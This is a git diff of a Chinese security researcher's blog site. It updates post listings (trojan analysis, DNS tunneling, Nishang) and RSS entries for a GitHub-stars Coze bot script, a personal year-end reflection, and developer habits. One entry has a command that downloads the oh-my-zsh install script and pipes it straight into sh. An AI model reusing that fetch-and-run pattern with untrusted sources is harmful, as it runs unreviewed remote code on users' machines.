现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 Feb 2019

驱动人生供应链木马攻击2019.1.30变种木马分析

2,276 words, ~9 min read

360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新……
31 Jan 2019

BMP位图隐写

1,047 words, ~4 min read

快过年了,最近学不进去东西,总结一下之前的基础知识,顺便结合起来。
26 Jan 2019

Visual Studio 调试DLL

42 words, ~0 min read

昨天将木马转换成DLL的时候,需要进行内存地址的寻找,就必须要进行调试,在网上搜了很多文章,发现条件有些复杂和繁琐。
26 diff --git a/page/9/index.html b/page/9/index.html index 7705948..28b9e73 100644 --- a/page/9/index.html +++ b/page/9/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 Dec 2018

Intranet Space - Linux Privilege

116 words, ~0 min read

Linux Privilege -> Exploit
19 Dec 2018

Intranet Space - nishang <ReadTeam/Powershell/Penetration-testing>

1,406 words, ~5 min read

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
18 Dec 2018

Intranet Space - Dns Tunneling

904 words, ~3 min read

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。
18 diff --git a/posts/index.xml b/posts/index.xml index bba6ebe..1c64812 100644 --- a/posts/index.xml +++ b/posts/index.xml @@ -24,7 +24,9 @@ </span></span><span style="display:flex;"><span> -d, --debug </span></span><span style="display:flex;"><span> -h, --help Print help </span></span><span style="display:flex;"><span> -V, --version Print version -</span></span></code></pr使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/<!-- raw HTML omitted --> +</span></span></code></pre></td></tr></table> +</div> +</div><p>先将Qpipe下载到本地,然后编写特定的配置文件:</p>使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --> @@ -51,7 +53,82 @@ </tr> </tbody> </table> -<p>这里不多介绍Coze平台的基本功能了,请移步官方文档:<a href="https://www.coze.com/docs/guides/welcome?_lang=zh">Coze - Coze 文档中心</a></p>2023年终总结 - 你好2024!https://payloads.online/archivers/2023-12-29/year-end-summary/Fri, 29 Dec 2023 00:00:00 +0000https://payloads.online/archivers/2023-12-29/year-end-summary/<h2 id="前言">前言</h2> +<p>这里不多介绍Coze平台的基本功能了,请移步官方文档:<a href="https://www.coze.com/docs/guides/welcome?_lang=zh">Coze - Coze 文档中心</a></p> +<p>整体实现思路如下:</p> +<ul> +<li>编写一个能够读取我自己Github Star项目的插件</li> +<li>编写一个能够向知识星球推送文字的插件</li> +<li>创建工作流,方便后续其他Bot调用</li> +<li>创建一个Bot,编写Prompt,导入上述插件进行调试</li> +<li>设置自定义交互的按钮来修改<code>变量</code>,增加易用性</li> +</ul> +<h2 id="编写访问github-api的插件">🔧编写访问Github API的插件</h2> +<p>为了实现能够将Github的Star项目输入给AI,首先需要编写一个插件,这个插件用于访问Github API接口:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests +</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> os +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># 获取Github访问令牌</span> +</span></span><span style="display:flex;"><span>GITHUB_TOKEN <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>getenv(<span style="color:#e6db74">&#39;GITHUB_TOKEN&#39;</span>) +</span></span><span style="display:flex;"><span>headers <span style="color:#f92672">=</span> { +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Authorization&#39;</span>: <span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;token </span><span style="color:#e6db74">{</span>GITHUB_TOKEN<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span> +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_starred_repos</span>(username): +</span></span><span style="display:flex;"><span> url <span style="color:#f92672">=</span> <span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;https://api.github.com/users/</span><span style="color:#e6db74">{</span>username<span style="color:#e6db74">}</span><span style="color:#e6db74">/starred&#39;</span> +</span></span><span style="display:flex;"><span> response <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(url, headers<span style="color:#f92672">=</span>headers) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> response<span style="color:#f92672">.</span>status_code <span style="color:#f92672">==</span> <span style="color:#ae81ff">200</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> response<span style="color:#f92672">.</span>json() +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> [] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>(): +</span></span><span style="display:flex;"><span> username <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;your-github-username&#39;</span> +</span></span><span style="display:flex;"><span> starred_repos <span style="color:#f92672">=</span> get_starred_repos(username) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> repo <span style="color:#f92672">in</span> starred_repos: +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目名称: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;name&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目描述: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;description&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目地址: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;html_url&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Star数量: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;stargazers_count&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#39;---&#39;</span>) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>: +</span></span><span style="display:flex;"><span> main() +</span></span></code></pre></td></tr></table> +</div> +</div><p>以上是我用Prompt AI生成的示例代码,这个示例代码确实能直接拿来使用,但是还需要按照实际情况调整输入输出参数,在Coze平台中每一个插件都可以通过<code>Metadata</code>设定输入参数以及输入参数的数据类型,同样的也有输出参数以及输出参数的数据类型。</p>2023年终总结 - 你好2024!https://payloads.online/archivers/2023-12-29/year-end-summary/Fri, 29 Dec 2023 00:00:00 +0000https://payloads.online/archivers/2023-12-29/year-end-summary/<h2 id="前言">前言</h2> <p>2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。</p> <p>在上周末看到阮老师的周刊的标题:<a href="http://www.ruanyifeng.com/blog/2023/12/weekly-issue-283.html">科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走</a>,主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。</p> <h2 id="2023这一年的工作感想">2023这一年的工作感想</h2> @@ -80,7 +157,33 @@ <p>三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。</p> <p><em>“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。”</em></p> <p>四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。</p> -<p><em>“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”</em></p>需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/<!-- raw HTML omitted --> +<p><em>“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”</em></p> +<p>五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。</p> +<p><em>“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。”</em></p> +<p>六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源:</p> +<ol> +<li>人口少子化可能催生了“断亲族”,亲戚数量少、交往不够</li> +<li>家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化</li> +<li>对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异</li> +<li>当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑</li> +</ol> +<p>我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。</p> +<p><em>“如果我们可以经常像朋友一样沟通,我有好多话想说。”</em></p> +<p>七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。</p> +<p><em>“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。”</em></p> +<p>八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。</p> +<p><em>“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。”</em></p> +<p>九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。</p> +<p><em>“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。”</em></p> +<p>十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。</p> +<p><em>“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。”</em></p> +<p>十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。</p> +<p><em>“没有人可以评价你,做一个自信的人,我们的文化也是一样。”</em></p> +<p>十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。</p> +<p><em>“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。”</em></p> +<p>这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。</p> +<h2 id="最后">最后</h2> +<p>2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。</p>需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h3 id="使用带密码的私钥">使用带密码的私钥</h3> <p>使用带密码的私钥能够确保公私钥文件被窃取后,依然无法使用。</p> @@ -98,7 +201,54 @@ </span></span><span style="display:flex;"><span>Generating public/private rsa key pair. </span></span><span style="display:flex;"><span>Enter passphrase <span style="color:#f92672">(</span>empty <span style="color:#66d9ef">for</span> no passphrase<span style="color:#f92672">)</span>: <span style="color:#75715e"># 输入密码</span> </span></span><span style="display:flex;"><span>Enter same passphrase again: <span style="color:#75715e"># 输入密码</span> -</span></span></code></pr某安全数据交换系统的漏洞挖掘https://payloads.online/archivers/2023-09-18/code-auditing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/code-auditing/<blockquote> +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/2024-07-29-fcceb13ae2e9e9954f3e168e822e583565003cf814c46b123015ed18723b01f8.png" alt="0"> + +</p> +<h3 id="使用命令行提示工具-oh-my-zsh">使用命令行提示工具 oh-my-zsh</h3> +<p><a href="https://ohmyz.sh/">oh my zsh</a></p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ sh -c <span style="color:#e6db74">&#34;</span><span style="color:#66d9ef">$(</span>curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$ vim .zshrc +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># 我使用的插件</span> +</span></span><span style="display:flex;"><span>plugins<span style="color:#f92672">=(</span> +</span></span><span style="display:flex;"><span>git +</span></span><span style="display:flex;"><span>docker +</span></span><span style="display:flex;"><span>zsh-syntax-highlighting +</span></span><span style="display:flex;"><span>zsh-autosuggestions +</span></span><span style="display:flex;"><span>zsh-completions +</span></span><span style="display:flex;"><span>copyfil +</span></span><span style="display:flex;"><span>e emoji +</span></span><span style="display:flex;"><span>extract +</span></span><span style="display:flex;"><span>sudo +</span></span><span style="display:flex;"><span><span style="color:#f92672">)</span> +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="使用更好的替代命令">使用更好的替代命令</h3> +<p>在Linux命令行下,会经常使用系统命令进行工作,但是内置的命令功能很单一,需要做一些增强,我这里摘取部分配置:</p>某安全数据交换系统的漏洞挖掘https://payloads.online/archivers/2023-09-18/code-auditing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/code-auditing/<blockquote> <p>本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。</p> </blockquote> <!-- raw HTML omitted --> @@ -121,7 +271,73 @@ </span></span><span style="display:flex;"><span>nameserver 8.8.8.8 </span></span></code></pre></td></tr></table> </div> -</div><p>修改 <code>/etc/NetworkManager/NetworkManager.conf</code> 文件,在main部分添加 “dns=none” 选项:</p>邮件钓鱼与T1218.001https://payloads.online/archivers/2023-09-18/phishing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/phishing/<!-- raw HTML omitted --> +</div><p>修改 <code>/etc/NetworkManager/NetworkManager.conf</code> 文件,在main部分添加 “dns=none” 选项:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>[main] +</span></span><span style="display:flex;"><span><span style="color:#75715e">#plugins=ifcfg-rh +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>dns<span style="color:#f92672">=</span>none +</span></span></code></pre></td></tr></table> +</div> +</div><p>网络IP地址配置文件在 <code>/etc/sysconfig/network-scripts</code> 文件夹下:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-c1fdebce3a78e6a40d687eb5fa49a1b528c20752858153814edc88cba437ceaa.png" alt="0"> + +</p> +<p>我添加了两个网卡,其中一个用来供本机访问:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-683e57752f22f8419b233e4952db222874f86e8902cfdd70410619b4b6a2aea1.png" alt="1"> + +</p> +<p><code>/etc/sysconfig/network-scripts/ifcfg-eth1-1</code></p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span 